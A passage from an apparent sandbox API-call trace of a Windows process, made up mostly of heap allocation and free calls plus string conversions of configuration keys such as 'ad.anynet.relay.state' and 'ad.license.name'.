(HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963120 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995a38 [0283.703] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995ab0 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995ac8 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1963140 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6148 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf) returned 0x1995ae0 [0283.704] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19958b8 | out: hHeap=0x1930000) returned 1 [0283.704] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19958a0 | out: hHeap=0x1930000) returned 1 [0283.704] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962f00 | out: hHeap=0x1930000) returned 1 [0283.704] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962ee0 | out: hHeap=0x1930000) returned 1 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ee0 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962f00 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19958a0 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19958b8 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x198a4b8 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963160 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995af8 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963180 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995b10 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995b28 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1995b40 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19631a0 [0283.704] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a60a8 [0283.705] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf) returned 0x1964460 [0283.705] GetLastError () returned 0x0 [0283.705] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a8df0, Size=0x218) returned 0x1969ba8 [0283.705] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1969ba8, Size=0x31c) returned 0x1964b88 [0283.705] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b88, Size=0x474) returned 0x1964b88 [0283.705] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1964b88, Size=0x628) returned 0x19a8df0 [0283.706] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a8df0, Size=0x884) returned 0x19a8df0 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x558) returned 0x19a9680 [0283.706] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19645e0 | out: hHeap=0x1930000) returned 1 [0283.706] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964610 | out: hHeap=0x1930000) returned 1 [0283.706] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19645f8 | out: hHeap=0x1930000) returned 1 [0283.706] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cf0 | out: hHeap=0x1930000) returned 1 [0283.706] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9680 | out: hHeap=0x1930000) returned 1 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19645f8 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a61e8 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x1964610 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1963260 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x9) returned 0x19645e0 [0283.706] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19a61f8 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963280 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964628 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19632a0 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964640 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964658 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964670 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19632c0 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6208 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf) returned 0x1964688 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19632e0 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19646a0 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19646b8 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19646d0 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1963300 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6218 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1963320 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963340 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19646e8 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964700 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964718 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1963360 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6228 [0283.707] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6238 [0283.707] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964508 | out: hHeap=0x1930000) returned 1 [0283.708] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19644f0 | out: hHeap=0x1930000) returned 1 [0283.708] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963200 | out: hHeap=0x1930000) returned 1 [0283.708] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19631e0 | out: hHeap=0x1930000) returned 1 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19631e0 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963200 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19644f0 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1964508 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x64) returned 0x1980e80 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1963380 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964730 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19633a0 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964748 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964760 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1964778 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19633c0 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x19a6248 [0283.708] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf) returned 0x1964790 [0283.708] GetLastError () returned 0x0 [0283.708] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x19a6cd8, Size=0x218) returned 0x1969430 [0283.708] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1969430, Size=0x31c) returned 0x1969430 [0283.708] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1969430, Size=0x474) returned 0x1969430 [0283.708] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1969430, Size=0x628) returned 0x1969430 [0283.708] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1969430, Size=0x884) returned 0x19a9fe8 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x558) returned 0x19aa878 [0283.709] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9800 | out: hHeap=0x1930000) returned 1 [0283.709] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9830 | out: hHeap=0x1930000) returned 1 [0283.709] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9818 | out: hHeap=0x1930000) returned 1 [0283.709] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cf0 | out: hHeap=0x1930000) returned 1 [0283.709] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa878 | out: hHeap=0x1930000) returned 1 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9818 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964c50 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19a9830 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1961540 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x9) returned 0x19a9800 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1964c60 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961600 [0283.709] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9848 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961620 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9860 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9878 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9890 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1961640 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x1964c70 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x11) returned 0x1961660 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961680 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a98a8 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a98c0 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a98d8 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19616a0 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x1964c80 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19616c0 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19616e0 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a98f0 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9908 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9920 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1961700 [0283.710] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x1964c90 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x1964ca0 [0283.711] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9728 | out: hHeap=0x1930000) returned 1 [0283.711] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9710 | out: hHeap=0x1930000) returned 1 [0283.711] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961560 | out: hHeap=0x1930000) returned 1 [0283.711] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19615e0 | out: hHeap=0x1930000) returned 1 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19615e0 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961560 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9710 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19a9728 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x68) returned 0x1980da0 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961720 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9938 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961740 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9950 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9968 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19a9980 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x1961760 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3) returned 0x1964cb0 [0283.711] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x11) returned 0x1961b40 [0283.711] GetLastError () returned 0x0 [0283.712] GetSystemTime (in: lpSystemTime=0x294b118 | out: lpSystemTime=0x294b118*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x73)) [0283.712] GetCurrentThreadId () returned 0x5d8 [0283.712] GetCurrentProcessId () returned 0x51c [0283.712] GetLastError () returned 0x0 [0283.712] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x19774a0) returned 0x16f6da0 [0283.714] GetLastError () returned 0x0 [0283.714] GetSystemTime (in: lpSystemTime=0x294b250 | out: lpSystemTime=0x294b250*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x73)) [0283.714] GetCurrentThreadId () returned 0x5d8 [0283.714] GetCurrentProcessId () returned 0x51c [0283.714] GetLastError () returned 0x0 [0283.714] QueryPerformanceFrequency (in: lpFrequency=0x294b344 | out: lpFrequency=0x294b344*=100000000) returned 1 [0283.715] QueryPerformanceCounter (in: lpPerformanceCount=0x294b344 | out: lpPerformanceCount=0x294b344*=2565166871532) returned 1 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964df0 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e00 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x19625b0 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x1962620 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x93) returned 0x1983258 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e10 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e20 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e30 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e40 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e50 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e60 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e70 [0283.715] GetTickCount () returned 0xb913 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e80 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e90 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ea0 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964eb0 [0283.715] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1b) returned 0x19731a0 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf7) returned 0x19abdf0 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xf7) returned 0x1969638 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ec0 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ed0 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1b) returned 0x19731f0 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ee0 [0283.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962658 [0283.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9f3c, cbMultiByte=-1, lpWideCharStr=0x1962658, cchWideChar=22 | out: lpWideCharStr="ad.anynet.relay.state") returned 22 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962690 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19626c8 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962e80 [0283.716] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962700 [0283.716] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19626c8 | out: hHeap=0x1930000) returned 1 [0283.717] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962658 | out: hHeap=0x1930000) returned 1 [0283.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd24a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0283.717] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970cd8 [0283.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd24a8, cbMultiByte=-1, lpWideCharStr=0x1970cd8, cchWideChar=29 | out: lpWideCharStr="ad.anynet.relay.fatal_result") returned 29 [0283.717] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970d20 [0283.717] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970d68 [0283.718] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ea0 [0283.718] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970db0 [0283.718] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970d68 | out: hHeap=0x1930000) returned 1 [0283.719] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731c8 [0283.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x19731c8, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973240 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ef0 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973218 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1962ec0 [0283.719] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973290 [0283.719] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973218 | out: hHeap=0x1930000) returned 1 [0283.720] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19731c8 [0283.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x19731c8, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1973218 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19733d0 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961760 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x19733f8 [0283.720] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19733d0 | out: hHeap=0x1930000) returned 1 [0283.720] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962658 [0283.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe9160, cbMultiByte=-1, lpWideCharStr=0x1962658, cchWideChar=22 | out: lpWideCharStr="ad.anynet.cur_version") returned 22 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19626c8 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962738 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x1961b40 [0283.720] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962770 [0283.721] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962738 | out: hHeap=0x1930000) returned 1 [0283.721] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962658 | out: hHeap=0x1930000) returned 1 [0283.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731c8 [0283.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe508c, cbMultiByte=-1, lpWideCharStr=0x19731c8, cchWideChar=16 | out: lpWideCharStr="ad.license.name") returned 16 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19733d0 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f00 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973420 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa890 [0283.721] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973448 [0283.722] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973420 | out: hHeap=0x1930000) returned 1 [0283.722] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6118, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.722] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19731c8 [0283.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe6118, cbMultiByte=-1, lpWideCharStr=0x19731c8, cchWideChar=16 | out: lpWideCharStr="ad.features.woa") returned 16 [0283.722] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973420 [0283.722] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973470 [0283.722] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aa8b0 [0283.722] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973498 [0283.723] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973470 | out: hHeap=0x1930000) returned 1 [0283.723] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731c8 | out: hHeap=0x1930000) returned 1 [0283.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c07c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0283.723] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19731c8 [0283.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1c07c, cbMultiByte=-1, lpWideCharStr=0x19731c8, cchWideChar=15 | out: lpWideCharStr="ad.woa.devices") returned 15 [0283.723] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973470 [0283.723] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964f10 